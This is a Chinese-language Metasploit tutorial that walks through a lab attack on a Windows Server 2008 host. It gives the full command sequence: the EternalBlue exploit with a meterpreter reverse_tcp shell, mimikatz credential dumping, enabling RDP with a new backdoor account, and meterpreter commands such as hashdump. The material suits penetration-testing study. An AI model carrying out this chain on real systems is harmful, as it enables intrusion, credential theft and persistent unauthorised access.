滲透神器Metasploit


一、Metasploit框架介紹

       Metasploit是一個免費的、可下載的框架,通過它可以很容易地獲取、開發並對計算機軟件漏洞實施攻擊。它本身附帶數千個已知軟件漏洞的專業級漏洞攻擊工具。當H.D. Moore在2003年發布Metasploit時,計算機安全狀況也被永久性地改變了。仿佛一夜之間,任何人都可以成為黑客,每個人都可以使用攻擊工具來攻擊那些未打過補丁或者剛剛打過補丁的漏洞。軟件廠商再也不能推遲發布針對已公布漏洞的補丁了,這是因為Metasploit團隊一直都在努力開發各種攻擊工具,並將它們貢獻給所有Metasploit用戶。
       我們能夠通過它發現漏洞並進行快速實施攻擊,當然需要在授權的情況下

二、Metasploit模塊介紹

綜合滲透測試框架

MSF所用功能可分為這幾個模塊,每個模塊都有各自的功能領域,形成了滲透測試的流程

模塊名 模塊名 描述
Auxiliary 輔助模塊 為滲透測試信息搜集提供了大量的輔助模塊支持
Exploits 攻擊模塊 利用發現的安全漏洞或配置弱點對遠程目標系統 進行攻擊,從而獲得對遠程目標系統訪問權的代碼組件
Payload 攻擊載荷模塊 攻擊成功后促使靶機運行的一段植入代碼
Post 后滲透攻擊模塊 收集更多信息或進一步訪問被利用的目標系統
Encoders 編碼模塊 將攻擊載荷進行編碼,來繞過防護軟件攔截


三、MSF-基礎指令

命令 描述
help/? 幫助菜單
exit 退出MSF控制台
Back 返回上一級
info 顯示一個或者多個模塊的信息
show 顯示所給類型的模塊
background 將當前操作在后台運行
use 使用所選擇的模塊
set 設置選項
unset 取消設置的選項
session 會話
use 使用所選擇的模塊

使用MSF前先打開數據庫

開啟數據庫:service postgresql start

如果不開啟數據庫也可以,不過關於數據庫的命令用不了

初始化MSF數據庫:msfdb init

開啟MSF:msfconsole

查看數據連接狀態:db_status



常用模塊講解

Auxiliary 模塊: show auxiliary

Rank表示好用級別:normal(正常),excellent(優秀),good(良好),average(平均)

命名規則:功能/服務/名稱 scanner/smb/smb_ms17_010

Exploits 模塊: show exploits
命名規則:操作系統/服務/名稱 windows/smb/ms17_010_eternalblue

Payload 模塊:show payloads
命名規則:操作系統/類型/名稱 windows/x64/meterpreter/reverse_tcp



MSF搜索模塊

根據名稱搜索 : search ms17_010



MSF設置模塊

設置模塊:use auxiliary/scanner/smb/smb_ms17_010

查看選項:options





四、MSF攻擊流程

Ping下需要攻擊的目標地址 ping 192.168.2.168

指定ping四次 ping 192.168.2.168 -c 4

掃描目標地址端口有沒有開啟,永恆之藍端口445,文件共享服務端口
db_nmap 192.168.2.168 -p 445,-p指定445端口

發現目標機器開啟了445端口,查看hosts,發現目標地址已經存在這里了

搜索下永恆之藍模塊名字

search ms17_010

使用輔助模塊來掃描,看到了SMB REC,掃描下看有沒有遠程命令執行漏洞

use auxiliary/scanner/smb/smb_ms17_010

options,查看需要設置什么,一般都是設置yes

需要設置一個路徑,這個路徑就是字典文件,MSF已經設置好了,所以不需要設置

RHOSTS目標服務器地址,遠程主機的地址,需要設置成目標地址

目標端口

SMB線程

用戶名和密碼都是不需要設置的,因為MSF利用遠程命令執行這個漏洞去攻擊

設置RHOSTS,最簡單就是set rhosts 192.168.2.168

也可以利用hosts掃描到的數據庫里面有的,直接hosts -R也可以

使用run或者exploit都是可以攻擊的

發現了綠色的[+],說明可能存在MS17-010 漏洞的,同時也看到這台目標服務器的相關資料,操作系統是windows server 2008 R2 64位的,MSF自帶的只能攻擊64位的

接下來使用攻擊模塊

search ms17

發現有兩個攻擊模塊可以使用,這里使用一個ms17_010_eternalblue

直接use 8,進入到攻擊模塊

設置payload,先查看show payloads

反向連接tcp,因為不知道服務器有沒有網

使用meterpreter

set payload windows/x64/meterpreter/reverse_tcp

options 查看下還要設置什么

需要設置本機ip地址和目標地址

set lhost 192.168.2.250

set rhosts 192.168.2.168

設置好后現在就可以直接攻擊了

run

getuid查看下成功沒

拿到了SYSTEM的權限,NT是windows

shell看看,進入目標機器的CMD命令

load mimikatz ,加載mimikatz

kerberos,讀取目標機器用戶的憑證,明文密碼

background,把會話放在后台

db_nmap 192.168.2.168 -p 3389,掃描下端口,看能不能遠程登錄

端口沒開啟,使用post模塊,通過修改注冊表來開啟目標端口

search enable_rdp,rdp表示遠程登錄服務

use 0

options,看需要設置什么

在system權限上,把目標的3389轉發到本地的3389,再通過3389連接,可以新建賬戶密碼,session就是我們剛剛保留的會話,通過這個會話開啟服務器目標的端口和用戶名和密碼

set password 1234.a

set session 1

set username abc

run,攻擊下

db_nmap 192.168.2.168 -p 3389,掃描下看開放沒

rdesktop 192.168.2.168,遠程登錄



五、后滲透工具 - meterpreter

查看用戶權限: meterpreter> getuid

獲取hash密碼: meterpreter> hashdump

上傳文件: meterpreter> upload

執行文件: meterpreter> execute -f notepad.exe

獲取屏幕截圖:meterpreter>screenshot

獲取shell:meterpreter>shell

  聲明:請勿用作違法用途,請在授權情況下使用


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM